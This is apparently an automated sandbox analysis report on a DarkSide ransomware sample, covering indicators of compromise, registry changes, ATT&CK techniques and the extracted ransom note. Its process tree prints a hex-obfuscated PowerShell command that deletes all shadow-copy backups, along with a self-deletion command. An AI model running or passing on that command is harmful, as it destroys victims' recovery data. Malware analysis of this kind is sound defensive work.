darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
110s
max time network
109s
platform
windows7_x64
resource
win7v20210410
submitted
12-05-2021 19:34

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General

Target

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Size

59KB
MD5

6a7fdab1c7f6c5a5482749be5c4bf1a4
SHA1

4e6d303d96621769b491777209c237b4061e3285
SHA256

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb
SHA512

39446ebfae1dd0e007e81087f42021b95ee5a0a04e22ca7f4f5addbea4e71c7fe09ffd3bf953400955ce6d31b535c81a37b018aba73c30e61575b2c49414d6cd

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\SendMove.tif => C:\Users\Admin\Pictures\SendMove.tif.341d6443	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\SendMove.tif.341d6443	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File renamed	C:\Users\Admin\Pictures\BackupClear.crw => C:\Users\Admin\Pictures\BackupClear.crw.341d6443	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\BackupClear.crw.341d6443	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File renamed	C:\Users\Admin\Pictures\RedoTest.tif => C:\Users\Admin\Pictures\RedoTest.tif.341d6443	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\RedoTest.tif.341d6443	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File renamed	C:\Users\Admin\Pictures\SelectOpen.crw => C:\Users\Admin\Pictures\SelectOpen.crw.341d6443	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\SelectOpen.crw.341d6443	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2824 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2824	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP"	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP"	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10"	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

Modifies registry class 5 IoCs

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico"	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443"	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

pid	process
984	powershell.exe
984	powershell.exe
1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeSecurityPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeTakeOwnershipPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeLoadDriverPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeSystemProfilePrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeSystemtimePrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeProfSingleProcessPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeIncBasePriorityPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeCreatePagefilePrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeBackupPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeRestorePrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeShutdownPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeDebugPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeSystemEnvironmentPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeRemoteShutdownPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeUndockPrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeManageVolumePrivilege	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: 33	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: 34	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: 35	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeDebugPrivilege	984	powershell.exe
Token: SeBackupPrivilege	1752	vssvc.exe
Token: SeRestorePrivilege	1752	vssvc.exe
Token: SeAuditPrivilege	1752	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

description	pid	process	target process
PID 1044 wrote to memory of 984	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	powershell.exe
PID 1044 wrote to memory of 984	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	powershell.exe
PID 1044 wrote to memory of 984	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	powershell.exe
PID 1044 wrote to memory of 984	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	powershell.exe
PID 1044 wrote to memory of 2824	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	cmd.exe
PID 1044 wrote to memory of 2824	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	cmd.exe
PID 1044 wrote to memory of 2824	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	cmd.exe
PID 1044 wrote to memory of 2824	1044	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
"C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:984
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\1CC7C1~1.EXE >> NUL
  2⤵
  - Deletes itself
  PID:2824

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
bdd6897217c211cbf1fd7ee4f761175b

SHA1
55cdd994894d61a1240a1caf2ba4ae9f14fe4a01

SHA256
478fb8bb91c77a5609353841b1b096ea74b580a343aec3c8903e2aa3d84dabe2

SHA512
501d3ab1cf51644b4763a969827fcaa90608ca91f5155d9b94445d6b89e5d330116c866439aad69aaa576c32f50a8d240c81c45bbdf1906fb02e872e17b6a1a3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
3952f3416d7eb1f15cc6c03b0d19cf2e

SHA1
8e8df64da2369ea9bc6d939bb1e2b9094663bbbd

SHA256
a855ae057d6487b381a68edf80d85d322ad1082ff44a4ab1c6a5a73890b36db8

SHA512
28ce1c53342318f6592fe99fa42e899ae2ab2690595ebff13a35a58bd068d5dfb98ff10754b5c2ba2398a0def386e790193110bc6f5de83dd153c1c711140ece

Download Submit
memory/984-66-0x000000001AC40000-0x000000001AC42000-memory.dmp

Filesize
8KB

Download
memory/984-63-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/984-64-0x000000001ACC0000-0x000000001ACC1000-memory.dmp

Filesize
4KB

Download
memory/984-65-0x0000000002630000-0x0000000002631000-memory.dmp

Filesize
4KB

Download
memory/984-67-0x000000001AC44000-0x000000001AC46000-memory.dmp

Filesize
8KB

Download
memory/984-68-0x0000000002770000-0x0000000002771000-memory.dmp

Filesize
4KB

Download
memory/984-69-0x000000001C600000-0x000000001C601000-memory.dmp

Filesize
4KB

Download
memory/984-70-0x000000001ABB0000-0x000000001ABB1000-memory.dmp

Filesize
4KB

Download
memory/984-62-0x000007FEFBB41000-0x000007FEFBB43000-memory.dmp

Filesize
8KB

Download
memory/984-61-0x0000000000000000-mapping.dmp

Download
memory/1044-60-0x0000000075721000-0x0000000075723000-memory.dmp

Filesize
8KB

Download
memory/2824-73-0x0000000000000000-mapping.dmp

Download